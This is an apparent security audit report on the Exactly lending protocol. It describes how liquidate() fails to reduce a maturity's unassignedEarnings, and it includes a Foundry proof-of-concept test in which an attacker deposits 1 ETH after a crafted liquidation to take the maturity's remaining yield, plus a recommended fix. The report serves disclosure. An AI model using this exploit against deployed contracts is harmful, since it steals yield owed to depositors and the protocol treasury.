Tiny Mulberry Tapir

medium

# `unassignedEarnings` of each maturity doesn't change after liquidation, resulting in the attacker being able to cheat and steal the yield from maturities

## Summary
In the Market contract, the `liquidate()` function reduces the debt of each maturity but does not reduce `unassignedEarnings`. This allows an attacker to cheat and steal the yield from the maturities. A similar problem can be found in `clearBadDebt()` function.
## Vulnerability Detail
* In the `liquidate()` function of Market contract, for each maturity, it calls `noTransferRepayAtMaturity()` internal function to handle the repayment of the liquidated debt with parameter `canDiscount` is set to false. However, `unassignedEarnings` of that maturity does not undergo any changes while the backup supply for that maturity decreases. 
* Regarding the liquidation of a maturity, while a debt is repaid, which may decrease a significant amount of backup supply for this maturity, its `unassignedEarnings` remain unchanged. In this case, `unassignedEarnings` include the interest fee of the deducted debt, so the corresponding interest of the repaid debt will be counted into future earnings. Afterward, the new supply will receive more interest earnings than the old supplies, which is unexpected according to the interest rate model. Moreover, an attacker can use `liquidate()` to manipulate the backup supply to be very small while `unassignedEarnings` still remain huge, then deposit only the small amount of assets needed to claim all the yields of the maturity.
See this [code snippet](https://github.com/exactly/protocol/blob/main/contracts/Market.sol#L495-L509):
```solidity=
// early repayment allows a discount from the unassigned earnings
if (block.timestamp < maturity) {
  if (canDiscount) {
    // calculate the deposit fee considering the amount of debt the account'll pay
    (uint256 discountFee, uint256 backupFee) = pool.calculateDeposit(principalCovered, backupFeeRate);

    // remove the fee from unassigned earnings
    pool.unassignedEarnings -= discountFee + backupFee;

    // the fee charged to the fixed pool supplier goes to the earnings accumulator
    earningsAccumulator += backupFee;

    // the fee gets discounted from the account through `actualRepayAssets`
    actualRepayAssets = debtCovered - discountFee;
  } else {
    actualRepayAssets = debtCovered;
  }
```

* Here is the test function for a PoC where an attacker can steal many yields of maturity with a small amount of deposited assets:
```solidity=
function testLiquidateAndClaimYieldOfMaturity() external {
irm.setRate(0.1e18);
daiPriceFeed.setPrice(0.0005e18);

market.deposit(50_000 ether, ALICE);
marketWETH.deposit(1 ether, address(this));

//borrow 1000 ether for address(this)
market.borrowAtMaturity(FixedLib.INTERVAL, 1_000 ether, 2_000 ether, address(this), address(this));

//After 2 weeks, collateral value goes down, so position of address(this) can be liquidated
vm.warp(2 weeks);
daiPriceFeed.setPrice(0.001111111111e18);

//Alice deposit 500 Eth to that maturity and claim 1/2 of the current maturity's yield (unassignedEarnings)
market.depositAtMaturity(FixedLib.INTERVAL, 500 ether, 500 ether, ALICE);
(, uint256 feeAlice) = market.fixedDepositPositions(FixedLib.INTERVAL, ALICE);
console.log("fee received", feeAlice);


vm.prank(BOB);
//Bob liquidate a specific amount for the above position 
market.liquidate(address(this), 508 ether, marketWETH);

//Bob deposit only 1 Eth but claim all remaining yield of that maturity (same amount of yield with Alice)
market.depositAtMaturity(FixedLib.INTERVAL, 1 ether, 1 ether, BOB);
(, uint256 feeBob) = market.fixedDepositPositions(FixedLib.INTERVAL, BOB);
console.log("fee received", feeBob);
assertEq(feeBob, feeAlice);
}
```
Please put this function into `Market.t.sol` test file and run the command:
```bash=
forge test -vv --match-test testLiquidateAndClaimYieldOfMaturity
```
* In the PoC scenario, Alice deposited 500 Eth to claim a portion of the yield from this maturity (unassignedEarnings). However, after liquidation, Bob only needs to deposit 1 Eth to claim all the remaining yield of that maturity (equal to the yield received by Alice). This creates an unfair situation for users where an attacker can manipulate liquidations to profit from it and steal the yields of maturity.

## Impact
An attacker can call the `liquidate()` function with a specific liquidated amount to manipulate the backup supply of maturity and claim all of the `unassignedEarnings`, which represent the yield from the maturity's borrows. This results in the attacker being able to collect a significantly higher yield than expected from the interest model, and claim the yields that should be distributed to the suppliers or treasury of the protocol.

## Code Snippet
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L564-L580
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L507-L509
## Tool used

Manual Review

## Recommendation
`liquidate()` still decreases `floatingBackupBorrowed` by deducting the backup supply of the floating market for that maturity. Additionally, the `depositAtMaturity()` and `repayAtMaturity()` functions decrease the corresponding interest of the deducted backup supply and distribute that amount of interest to the suppliers or the repayers. Therefore, `liquidate()`  function should distribute the deducted interest to others instead of keeping it in unassignedEarnings. I recommend using `collectFreeLunch()` function to distribute that amount of yield to floating suppliers and the treasury.